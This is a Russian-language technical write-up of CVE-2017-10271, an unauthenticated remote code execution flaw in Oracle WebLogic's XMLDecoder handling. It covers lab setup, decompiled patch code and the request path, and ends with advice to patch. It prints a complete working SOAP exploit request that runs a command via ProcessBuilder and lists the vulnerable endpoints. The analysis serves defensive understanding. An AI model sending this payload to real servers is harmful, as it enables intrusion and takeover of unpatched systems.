Новая уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой системе любому атакующему без какой-либо авторизации. Разберемся, что именно должен делать атакующий и почему это работает.

Сервер приложений WebLogic, как и большинство продуктов Oracle, широко распространен в энтерпрайз-среде и используется крупными компаниями по всему миру. Проблемы, подобные этой, могут грозить огромными убытками и повлечь за собой утечки приватных данных.

Продукты компании PeopleSoft, производящей ПО для управления базами клиентов, финансового планирования и управления персоналом, тоже подвержены этой уязвимости, поскольку один из компонентов — это сервер WebLogic.

Проблема заключается в некорректной фильтрации данных при парсинге пользовательского запроса в XML перед передачей его в XMLDecoder. Отвечает за это модуль WLS Security. Уязвимость получила номер CVE-2017-10271 — это логическое продолжение не до конца запатченной CVE-2017-3506 в модуле Web Services. Баг затрагивает версии WebLogic до 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 и 12.2.1.2.0.

 

Подготовка

Сначала поднимем и настроим наш первый в 2018 году стенд для тестирования уязвимости. Я сижу на винде и поэтому буду использовать win-версию сервера WebLogic.

Для того чтобы загрузить сам дистрибутив, тебе понадобится рабочий аккаунт Oracle. Если у тебя его нет, то можешь зарегистрироваться тут. Далее переходим в раздел загрузок, принимаем лицензионное соглашение и выбираем нужную версию дистрибутива для загрузки.

Рекомендую использовать ветку 10.3.6, так как там сразу работает уязвимый модуль. Windows Oracle WebLogic распространяется в виде инсталлятора, в котором уже имеется JDK, ведь дистрибутив написан на Java и требует Development Kit для работы.

Инсталлятор WebLogic 10.3.6.0.0
Инсталлятор WebLogic 10.3.6.0.0

Сразу после завершения установки тебе предложат запустить и настроить рабочее окружение. Не вижу смысла отказывать в этом.

Компоненты JDK в инсталляторе
Компоненты JDK в инсталляторе

После всех настроек мы получаем готовую рабочую среду для тестирования уязвимости.

Стартовая страница WebLogic
Стартовая страница WebLogic

Если ты используешь Linux, то рекомендую поднять окружение через Docker, благо в репозитории ты уже можешь найти готовые сборки WebLogic. Вот, например, одна из них.

 

Детали

Давай сразу же проверим работу эксплоита. Загрузить один из вариантов PoC можно отсюда.

Для корректной работы в качестве параметра нужно указать адрес сервера WebLogic. По умолчанию скрипт отправляет запрос с эксплоитом к роуту /wls-wsat/CoordinatorPortType.

CVE-2017-10271/exploit.py
54:     url_in = sys.argv[1]
55: do_post(url_in, command_in)
CVE-2017-10271/exploit.py
42: def do_post(url_in, command_in):
43:     payload_url = url_in + "/wls-wsat/CoordinatorPortType"

После запуска PoC будет предложено ввести команду, которую нужно выполнить на удаленной системе.

CVE-2017-10271/exploit.py
53:     command_in = raw_input("Enter your command here: ")
Успешная эксплуатация CVE-2017-10271 в Oracle WebLogic
Успешная эксплуатация CVE-2017-10271 в Oracle WebLogic

Поскольку это логическое продолжение уязвимости CVE-2017-3506, сначала взглянем, что делает патч, который Oracle выпустила для нее. Нужные нам файлы находятся в файле /lib/weblogic.jar, поэтому его надо декомпильнуть, например с помощью Java Decompiler.

Декомпиляция weblogic.jar в Java Decompiler GUI
Декомпиляция weblogic.jar в Java Decompiler GUI

Нас интересует файл WorkContextXmlInputAdapter.java. Вместе с апрельским патчем разработчики добавили метод validate.

WorkContextXmlInputAdapter.java
21: public final class WorkContextXmlInputAdapter
22:   implements WorkContextInput
23: {
24:   private final XMLDecoder xmlDecoder;
25:
26:   public WorkContextXmlInputAdapter(InputStream is)
...
47:   private void validate(InputStream is)
48:   {
49:     WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
50:     try
51:     {
52:       SAXParser parser = factory.newSAXParser();
53:       parser.parse(is, new DefaultHandler()
54:       {
55:         public void startElement(String uri, String localName, String qName, Attributes attributes)
56:           throws SAXException
57:         {
58:           if (qName.equalsIgnoreCase("object")) {
59:             throw new IllegalStateException("Invalid context type: object");
60:           }
61:         }
62:       });
63:     }

Он проверяет переданный XML-запрос на наличие элементов Object, и если такой встречается, то скрипт кидает исключение Invalid context type: object.

Однако не Object’ом единым живет RCE. Существует еще множество способов проэксплуатировать уязвимость в десериализации XML. Посмотрим на этот же файл, но уже из последней версии, где уязвимость исправлена.

WorkContextXmlInputAdapter.java
47:   private void validate(InputStream is)
48:   {
49:     WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
50:     try
51:     {
52:       SAXParser parser = factory.newSAXParser();
53:       parser.parse(is, new DefaultHandler()
54:       {
55:         public void startElement(String uri, String localName, String qName, Attributes attributes)
56:           throws SAXException
57:         {
58:           if (qName.equalsIgnoreCase("object")) {
59:             throw new IllegalStateException("Invalid context type: object");
60:           }
61:           if (qName.equalsIgnoreCase("object")) {
62:             throw new IllegalStateException("Invalid element qName:object");
63:           } else if (qName.equalsIgnoreCase("new")) {
64:                throw new IllegalStateException("Invalid element qName:new");
65:           } else if (qName.equalsIgnoreCase("method")) {
66:                throw new IllegalStateException("Invalid element qName:method");
67:           } else {
68:             if (qName.equalsIgnoreCase("void")) {
69:               for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
70:                 if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
71:                   throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
72:                 }
73:               }
74:             }
75:             if (qName.equalsIgnoreCase("array")) {
76:               String classElem = attributes.getValue("class");
77:               if (classElem != null && !classElem.equalsIgnoreCase("byte")) {
78:                 throw new IllegalStateException("The value of class attribute is not valid for array element.");
79:               }

Как видишь, список неугодных элементов расширился. 🙂 Значит, помимо Object, потенциально небезопасны также и new, method, void и array в некоторых случаях. Теперь взглянем на запрос, который отправляет эксплоит.

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: weblogic.visualhack:7001
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java class="java.beans.XMLDecoder" version="1.8.0_151">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>cmd</string>
            </void>
            <void index="1">
              <string>/c</string>
            </void>
            <void index="2">
              <string>calc</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Разумеется, хидер Content-Type должен быть text/xml, потому что мы тут отправляем на парсинг XML. В теле запроса, чтобы вызвать класс ProcessBuilder, используется элемент типа void. Эксплоит отправляет запрос на эндпойнт CoordinatorPortType, однако уязвим не только он. Другие можно отыскать, если заглянуть в файл web.xml из wls-wsat.war.

Просмотр путей, которые можно использовать для эксплуатации
Просмотр путей, которые можно использовать для эксплуатации
CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11

Сам запрос обрабатывается адаптером WLSServletAdapter, который передает данные в метод ProcessRequest из файла WorkContextServerTube.java (ты можешь найти его в декомпилированном weblogic.jar по пути weblogic.wsee.jaxws.workcontex).

WorkContextServerTube.java
19: public class WorkContextServerTube
20:   extends WorkContextTube
21: {
...
39:   public NextAction processRequest(Packet request)
40:   {
41:     this.isUseOldFormat = false;
42:     if (request.getMessage() != null)
43:     {
44:       MessageHeaders hl = request.getMessage().getHeaders();
45:       Header hn = hl.get(this.JAX_WS_WORK_AREA_HEADER, true);
46:       if (hn != null)
47:       {
48:         readHeader(hn);
49:       }
50:       else
51:       {
52:         Header h = hl.get(WorkAreaConstants.WORK_AREA_HEADER, true);
53:         if (h != null) {
54:           if (supportWorkContextOldFormat) {
55:             readHeaderOld(h);
56:           } else {
57:             throw new WebServiceException("Old format work area header is disabled.");
58:           }

Переменная h ссылается на раздел work:WorkContext из тела запроса, он отправляется в метод readHeadOld для дальнейшей обработки.

WorkContextTube.java
104:   protected void readHeaderOld(Header header)
105:   {
106:     try
107:     {
108:       XMLStreamReader reader = header.readHeader();
109:       reader.nextTag();
110:       reader.nextTag();
111:       XMLStreamReaderToXMLStreamWriter x = new XMLStreamReaderToXMLStreamWriter();
112:       ByteArrayOutputStream baos = new ByteArrayOutputStream();
113:       XMLStreamWriter writer = XMLStreamWriterFactory.create(baos);
114:       x.bridge(reader, writer);
115:       writer.close();
116:       WorkContextXmlInputAdapter xia = new WorkContextXmlInputAdapter(new ByteArrayInputStream(baos.toByteArray()));
117:       receive(xia);

Тут переменная xia содержит переданный нами сериализованный массив объектов. Затем выполняется функция receive в контексте переданных данных, которая, в свою очередь, вызывает метод readUTF, и он триггерит уязвимость.

WorkContextXmlInputAdapter.java
194:   public String readUTF()
195:     throws IOException
196:   {
197:     return (String)this.xmlDecoder.readObject();
198:   }

Тут мы и получаем картину, которую наблюдали в самом начале, — успешную эксплуатацию и выполнение произвольного кода.

Успешная эксплуатация RCE в Oracle WebLogic 10.3.6.0.0
Успешная эксплуатация RCE в Oracle WebLogic 10.3.6.0.0
 

Демонстрация уязвимости (видео)

 

Выводы

За последние два года Oracle закрыла огромное количество уязвимостей во всех своих продуктах, а Ларри Эллисон, один из основателей, заявил, что необходимо усилить безопасность продуктов компании, так как они часто играют ключевую роль для бизнеса.

Эту уязвимость уже облюбовали злоумышленники, написав использующий ее троян-майнер. После успешной эксплуатации на сервер устанавливался майнер криптовалюты Monero xmrig, а процесс самого приложения WebLogic убивался. Судя по некоторым отчетам, злоумышленникам удалось «заработать» таким способом около 226 тысяч долларов.

Эту атаку обнаружил и разобрал по полочкам (за что ему огромное спасибо) Ренато Мариньо (Renato Marinho), исследователь безопасности в Morphus Labs. Его смутили постоянные сбои в работе серверов WebLogic из-за их перегрузки.

Патч для устранения уязвимости вышел еще в октябре 2017 года. Только вот никто не торопится обновляться, и на просторах Сети обитает еще много бажных серверов. Если ты администратор одного из них, то поспеши накатить свежие апдейты.

Оставить мнение